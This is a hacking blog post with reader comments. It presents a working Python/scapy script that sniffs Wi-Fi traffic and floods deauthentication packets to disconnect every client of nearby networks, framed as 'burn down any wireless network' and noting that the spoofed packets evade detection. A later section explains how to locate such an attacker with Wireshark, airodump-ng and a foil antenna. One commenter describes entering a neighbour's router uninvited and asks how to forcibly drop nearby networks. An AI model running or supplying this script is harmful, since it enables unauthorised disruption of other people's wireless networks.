How to burn down any wireless network around you and how to find out the exact location of a wireless laptop

I made a program which will monitor the air for connections between wireless hot spots and hosts, if the program will find a connection it will send a deauth packet which will disconnect the client, this goes at such a high speed that clients will have no chance to establish a proper connection to the router.

Here is the code:
[python]
#!/usr/bin/python
try:
import sys,os
from scapy.all import *
except:
print "[-] Could not import all needed things, be sure you have Python, aircrack-ng and scapy installed"
sys.exit(0)

def deauth_flood(p):
if p.haslayer(Dot11):
mac = {}
mac["ap"]=p.sprintf("%Dot11.addr1%")
mac["station1"]=p.sprintf("%Dot11.addr2%")
if not mac["ap"]=="ff:ff:ff:ff:ff:ff" and mac["station1"]!="None":
os.system("aireplay-ng -0 1 -a "+mac["ap"]+" -c "+mac["station1"]+" "+sys.argv[1]+" &")# Remove " &" for a slower attack rate.
def instructions():
print "== WLAN blackout - written by Jelmer de Hen - published at http://h.ackack.net ==\n\ninstructions:\n"
print "python "+sys.argv[0]+" [iface]"
print "python "+sys.argv[0]+" mon0"

if len(sys.argv)>1:
print "[+] Searching for packets..."
sys.exit(sniff(iface=sys.argv[1],prn=deauth_flood))
else:
sys.exit(instructions())
[/python]

Use at your own risk, you won't be detected too fast since you send entirely spoofed packets but with the right equipment and skills on the side of the victim side he will be able to do it, normally when these kinds of attacks are launched at company's they will have to ask the ISP to come with a special device which will track down the exact location of the device.

But what when you are being targeted by this attack?

First you have to know that this might be hard to detect since it can be exploited from very custom locations, think about:
- Attacker is at 1 location not too far away; for example in a car
- Moving attacker walking around with a laptop in bag
- Infected/botted computer(s) of any kind, could even be your heat pump or light system control system in this case
- Malicious pineapples
- Phones (like the iphone)
- Satellite dish pointed to you
- Infected satellite

Understand that it is impossible to counter some of these attacks but an iphone or car should be tracable.

Requirements:
- Movable Linux based PC with wireless capability; if you don't have a *nix system you can download backtrack for free, burn it to a DVD and boot from it; in the case your PC can't boot DVD's you can go for an Ubuntu live CD or another distribution, booting from these CD's won't change anything to your actual system.
- Wireshark (free)
- Aircrack-ng (free)
optional:
- poitable antenna
- thin foil
- scissors
- glue
- cardboard (or other hard bendable material)

Why thin foil, scissors and cardboard? To locate the attacker; it would be ideal to have a parabolic reflector to decrease the time it will take for localizing the attacker.
You can make the windsurfer or be creative and make something custom, the idea is that you can eliminate 1 side of the antenna and reflect that to the side where you point it to increase your range and elimate the chance of the attacker being behind the antenna.

When you have all requirements you can get started, move in the middle of the deauth packets storm and turn on Wireshark & airodump-ng.
In wireshark apply "radiotap.length==13" as filter (captures all deauth packets) and make a list of all hosts you see in airodump-ng.
Look at the rate with which you capture deauth packets and look in the bottom fields for the connections between routers and hosts, look at the PWR levels here.
Now move the windsurfer 90 degrees and look at the rate at which you capture and the deauth packets now, decide if it was less or more, redo this progress until you find the location at where the deauth packets have the highest rate, when being in a building it would be smart to also look under and above you.
Once you localized the location where the most deauth packets came from move your PC closer to that source, then redo the process of monitoring where the packets come from and look at aircrack-ng.
Once you are very very close you can determine which MAC address is doing this by looking it up in airodump-ng, this machine at that moment will have a very low PWR (0 until -50 is good enough).
Now run this command in bash to determine the manufacture of the card so you know something more about the attacking machine.
cat `locate manuf` | grep 00:11:22
Replace the latest part with the first part of the MAC address for example when you found the MAC address 55:44:33:22:11:00 then 55:44:33 is the part you will need.
Please note that this MAC address can be spoofed and/or not broadcasting so you won't be able to see it, then you have to do it all with Wireshark and determine where the most packets come from.
After you did all this you can just grab that malicious pineapple and smash it as hard as you can.

Hello, I am Jelmer born in 1991 and I live in Holland. I met Fredrik and Mathias through the internet. You can contact me via email jelmerdehen [ at ] hotmail [d0t] com Or you can chat with me in the IRC.

14 Comments

  1. Tweets that mention How to burn down any wireless network around you and how to find out the exact location of a wireless laptop -- Topsy.com says:

    [...] This post was mentioned on Twitter by AckAck. AckAck said: New Post: How to burn down any wireless network around you and how to find out t ( http://cli.gs/Rr2Wg ): I made a program which will mo... [...]

  2. Wireless Accessories for Computer Laptops / Desktops | laptop computers blog says:

    [...] How to burn down any wireless network around you and how to find … [...]

  3. cna training says:

    Great information! I’ve been looking for something like this for a while now. Thanks!

  4. quido says:

    This might be interesting with a GPS device? For beter locating the user with a small amount of time.
    http://bit.ly/adNZbg

    Nice article like always;)

  5. New wireless Blu-ray player from Sony – the BDP-S760 says:

    [...] How to burn down any wireless network around you and how to find … [...]

  6. motercalo says:

    Have you got more news like that ?

  7. Angus says:

    How would a GPS help? It just tells you where you are, when what you really need to know is where the other guy is relative to you.

  8. cna training says:

    nice post. thanks.

  9. nursing schools says:

    this post is very usefull thx!

  10. educational grants says:

    this post is very usefull thx!

  11. Name (required) says:

    Fuck you this shit is weak

  12. Mathias Karlsson says:

    #8
    Care to elaborate?

  13. KIAaze says:

    Do you have to set the wireless interface to monitor mode or something like that first?
    Does the machine running wireshark have to be connected to a wireless access point first or not?

    I'm trying to check for deauth packets now (because my wireless keeps disconnecting/failing to connect), but wireshark doesn't see anything at all, even without the filter. :(

  14. Nathan says:

    I have about 20 access points around me and don't have option for wired connection. There is so much channel pollution, and it sometimes affects my video playback, and game play. I was trying to find a nice way to change someone's channel, but you can't do that without access to their GUI or maybe another way? Everyone is running I think WPA or WPA2l, there was 1 unsecured linksys I accessed and changed the channel to the opposite side of me. It's getting old though, the interference. I don't care about being nice anymore, I want to forcibly drop the networks on my channel somehow, or use my spare linksys access point to screw with them. Email me if you got any information nah96@hotmail.com

Leave a Comment